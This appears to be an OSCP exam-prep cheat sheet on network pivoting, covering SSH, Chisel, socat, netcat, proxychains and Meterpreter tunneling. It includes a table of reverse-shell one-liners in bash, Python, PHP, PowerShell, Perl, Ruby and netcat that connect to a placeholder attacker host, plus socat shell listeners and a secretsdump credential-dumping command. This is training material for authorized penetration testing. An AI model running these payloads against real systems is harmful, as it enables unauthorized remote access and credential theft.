Domain 5Pivoting & MetasploitCORE

Quick Reference Cheat Sheet

Quick reference cheat sheet for all tunneling commands, tools, and workflows in Chapter 15 Advanced Tunneling for OSCP exam rapid review.

Domain: Domain 5: Pivoting, Tunneling & Metasploit•Updated: 2026-09-01
#cheat-sheet#quick-reference#commands#summary#oscp

Quick Reference Cheat Sheet

SSH Tunneling

Type Command Result
Local Forward ssh -f -N -L 8080:TARGET:80 user@PIVOT localhost:8080 → TARGET:80
Remote Forward ssh -f -N -R 9999:localhost:4444 user@PIVOT PIVOT:9999 → your 4444
Dynamic SOCKS ssh -f -N -D 1080 user@PIVOT SOCKS5 on localhost:1080
Jump Host ssh -J user@BASTION user@TARGET Chain through bastion
Multiple Ports ssh -f -N -L 8080:T1:80 -L 3306:T1:3306 user@PIVOT Multiple forwards

Chisel

Mode Server (Attacker) Client (Pivot) Result
Reverse Port chisel server --port 8000 --reverse chisel client ATTK:8000 R:9090:TARGET:80 localhost:9090 → TARGET:80
Reverse SOCKS chisel server --port 8000 --reverse chisel client ATTK:8000 R:socks SOCKS5 on localhost:1080
Standard chisel server --port 8000 chisel client PIVOT:8000 8080:TARGET:80 localhost:8080 → TARGET:80
TLS chisel server --port 443 --tls-cert c.pem --tls-key k.pem --reverse chisel client --tls-skip-verify ATTK:443 R:socks Encrypted SOCKS
Auth chisel server --port 8000 --auth pass --reverse chisel client pass@ATTK:8000 R:socks Authenticated SOCKS

Socat

Purpose Command
TCP Forward socat TCP-LISTEN:8080,fork,reuseaddr TCP:TARGET:80
Reverse Shell (Listener) socat TCP-LISTEN:4444,nip,su=0 EXEC:"bash -li",pty,stderr,setsid,sigint,sane
Reverse Shell (Connect) socat TCP:ATTK:4444 EXEC:"bash -li",pty,stderr,setsid,sigint,sane
UDP Forward socat UDP-LISTEN:5353,fork UDP:TARGET:53
SSL Listener socat OPENSSL-LISTEN:4443,cert=c.pem,key=k.pem,verify=0 EXEC:"bash -li",pty,stderr,setsid,sigint,sane

Netcat

Purpose Command
Listener nc -lvp 4444
Reverse Shell nc -e /bin/bash ATTK 4444 (traditional/ncat)
Reverse Shell (OpenBSD) nc -c '/bin/bash -i' ATTK 4444
Port Forward nc -lvp 4444 -c 'nc TARGET 80'
Port Scan nc -zv TARGET 80
Ncat SSL ncat --ssl --listen 4443 --cert c.pem --key k.pem -e /bin/bash

Proxychains

Config (/etc/proxychains4.conf)

strict_chain
proxy_dns
[ProxyList]
socks5  127.0.0.1  1080

Usage

proxychains4 nmap -sT -Pn -p 22,80,443 TARGET    # TCP connect scan!
proxychains4 curl http://TARGET:8080
proxychains4 python3 secretsdump.py DOMAIN/user:pass@TARGET

Meterpreter

Command Syntax
Add forward portfwd add -l 8080 -p 80 -r 10.10.10.10
List forwards portfwd list
Delete forward portfwd delete -l 8080
Flush all portfwd flush
Add route run autoroute -a -s 10.10.10.0/24 -p 1
Print routes run autoroute -p
Delete route run autoroute -d -s 10.10.10.0/24 -p 1

Reverse Shell One-Liners

Language Command
Bash bash -i >& /dev/tcp/ATTK/PORT 0>&1
Python 3 python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTK",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
PHP php -r '$sock=fsockopen("ATTK",PORT);exec("/bin/bash -i <&3 >&3 2>&3");'
PowerShell powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("ATTK",PORT);...
Perl perl -e 'use Socket;$i="ATTK";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
Ruby ruby -rsocket -e 'f=TCPSocket.open("ATTK",PORT).to_i;exec sprintf("/bin/bash -i <&%d >&%d 2>&%d",f,f,f)'
Netcat nc -e /bin/bash ATTK PORT

Shell Upgrade

# Python pty
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Script kiddie method
# Ctrl+Z → stty raw -echo → fg → reset → export SHELL=bash TERM=xterm-256color

Tool Selection Decision Tree

Can you SSH to the pivot?
├── YES → SSH Tunnel (-D for SOCKS, -L for port forward)
└── NO
    ├── Can you deploy a binary?
    │   ├── YES → Chisel (R:socks for proxy, R:PORT:TARGET:PORT for forward)
    │   └── NO
    │       ├── Do you have a web shell?
    │       │   ├── YES → ReGeorg (upload dropper, start proxy)
    │       │   └── NO → Meterpreter portfwd (if you have a session)
    ├── Do you have Meterpreter?
    │   ├── YES → portfwd (single port) or autoroute (subnet)
    │   └── NO → Deploy Chisel or use socat/nc
    └── Only specific ports allowed?
        ├── 80/443 → ReGeorg or Ligolo HTTP/WS
        ├── 53 (DNS) → iodine or dnscat2
        └── ICMP → ptunnel2 or icmpsh

Port Reference Table

Port Service Common in OSCP
22 SSH Tunneling, brute force
53 DNS AD, DNS zone transfer
80 HTTP Web apps, file upload
88 Kerberos AD authentication
135 RPC Windows services
139 NetBIOS SMB legacy
389 LDAP AD enumeration
443 HTTPS Web apps, tunneling
445 SMB File sharing, exploits
1433 MSSQL Database
3306 MySQL Database
3389 RDP Remote desktop
5432 PostgreSQL Database
5985 WinRM Windows management
5986 WinRM (HTTPS) Windows management
8080 HTTP Alt Web apps, proxies
8443 HTTPS Alt Web apps

Troubleshooting Quick Tips

Problem Quick Fix
Tunnel not working curl http://localhost:PORT to test
Proxychains fails Check /etc/proxychains4.conf has correct proxy
Nmap through proxy shows all closed Use -sT not -sS
Meterpreter LHOST wrong Set to pivot’s internal IP, not attacker IP
Shell dies immediately Upgrade TTY: python3 -c 'import pty; pty.spawn("/bin/bash")'
Chisel client can’t connect Verify server is running: ss -tlnp | grep PORT
SSH key verification failed Add -o StrictHostKeyChecking=no
Port already in use sudo lsof -i :PORT to find and kill the process
Tunnel drops Use tmux or autossh for persistence

Further Reading